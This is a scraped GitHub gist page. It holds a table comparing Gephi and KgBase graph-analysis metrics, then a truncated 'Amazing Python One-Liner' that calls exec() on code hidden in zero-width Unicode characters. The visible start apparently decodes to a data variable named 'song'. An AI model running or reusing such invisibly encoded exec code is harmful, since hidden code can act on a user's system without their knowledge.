Skip to content

Instantly share code, notes, and snippets.

iterations time (seconds)
1E3 5
1E4 40
1E5 420
Gephi KgBase
PageRank (directed) 0.004377 0.0044
PageRank (undirected) 0.003966 0.0039
HITS hubs (directed) 0 0
HITS authorities (directed) 0 0
HITS hubs (undirected) 0 1.49999999999996e-63
HITS authorities (undirected) 0 1.39999999999997e-64
Eigenvector Centrality (directed) 0.156877 0.16
Eigenvector Centrality (undirected) iterations vs. result 1E3  0.0219371E4  0.00749891E5  0.002927 5.3e-16 ✓ kgbase converges better
Gephi KgBase
nodes 12543 12543
edges 17761 17761
Mean Degree (directed) 1.416 1.42
Network Diameter (directed) 1 1
Graph Density (directed) 0.000 0.00011 ✓ Gephi fails to display significant figures (graph density = 0 is wrong)
Graph Density (undirected) 0.000 0.00023 ✓ Gephi fails to display significant figures (graph density = 0 is wrong)
Connected Components 414 414
Mean Path Length 4.965 4.97
@matiasmorant
matiasmorant / pythonOneLiner.py
Last active July 30, 2021 01:02
Amazing Python One-Liner
This file has been truncated, but you can view the full file.
exec(''.join(chr(int(''.join(str(ord(i)-8203)for i in c),2))for c in '​​​‌​‌​‍‌‌‌​​‌‌‍‌‌​‌‌‌‌‍‌‌​‌‌‌​‍‌‌​​‌‌‌‍​‌‌‌‌​‌‍‌‌​​​‌​‍​‌​​‌‌‌‍‌​‌​​‌‌‍‌​‌​‌​‌‍‌​‌​​​‌‍‌‌‌‌​‌​‍‌​​​​​‌‍‌‌‌​‌‌‌‍‌​​​​​‌‍‌​​​​​‌‍‌​​​​​‌‍‌​​​​​‌‍‌​​​​​‌‍‌​​​​​‌‍‌​‌​​​​‍‌​​​‌‌​‍‌​‌​​‌​‍‌​‌‌​‌​‍‌​‌​​‌​‍‌​‌​‌‌​‍‌​​‌​​‌‍‌​​​​​‌‍‌​​​​​‌‍‌​​​​​‌‍‌​​​​​‌‍‌​​​‌‌​‍‌​​​​​‌‍‌​​​​​‌‍‌​​​​​‌‍‌​​​​​‌‍‌​​‌‌​‌‍‌‌​‌​‌​‍‌​​​​​‌‍‌‌‌‌​​​‍‌​​‌‌‌‌‍‌​‌​‌‌​‍‌​‌​​‌​‍‌​​​‌‌​‍‌​‌​‌​​‍‌‌​‌​‌‌‍‌​​‌‌​‌‍‌​​​​​‌‍‌​​​​​‌‍‌​​​​​‌‍‌​​​​​‌‍‌​‌​‌‌​‍‌​​​​​‌‍‌​​​​​‌‍‌​​​​​‌‍‌​​​​​‌‍‌​‌​‌​​‍‌​​​‌​‌‍‌​​​‌‌​‍‌​​‌‌‌​‍‌​‌​​‌​‍‌​‌​​‌‌‍‌​​​​‌​‍‌‌‌​​​​‍‌‌​​​‌​‍‌‌​‌​​‌‍‌​​​​‌​‍‌​​​‌‌‌‍‌​‌​‌​​‍‌​​​​‌‌‍‌​​​​‌​‍‌​‌​‌​​‍‌‌​​‌​​‍‌​​‌​​​‍‌​‌​‌‌​‍‌‌​‌​‌‌‍‌‌​​​​‌‍‌​‌​‌‌‌‍​‌‌‌​​​‍‌‌​​‌‌‌‍‌​​‌‌​‌‍‌‌​‌​‌​‍‌​​​​‌​‍‌​‌​‌​‌‍‌​‌​​​‌‍‌‌​‌‌​​‍‌​​​​‌​‍‌​​‌‌‌​‍‌​​​​​‌‍‌​​​​​‌‍‌​​​​​‌‍‌​​​​​‌‍‌​​​​‌​‍‌​​​​​‌‍‌​​​​​‌‍‌​​​​​‌‍‌​​​​​‌‍‌​​​‌​​‍‌​​​‌​‌‍‌‌‌‌​​​‍‌​​‌‌‌​‍‌‌‌​‌‌​‍​‌​‌‌‌‌‍​‌‌​‌‌​‍‌​​‌​​‌‍‌​​​‌‌‌‍‌‌‌‌​‌​‍​‌‌‌​​‌‍​‌‌​‌‌​‍‌‌​​‌‌‌‍‌​​​​​‌‍‌​​​​​‌‍‌​​​​​‌‍‌​​‌‌​​‍‌​‌‌​​‌‍‌​​​​​‌‍‌​‌​​​‌‍‌​​​​​‌‍‌​‌​‌​‌‍‌​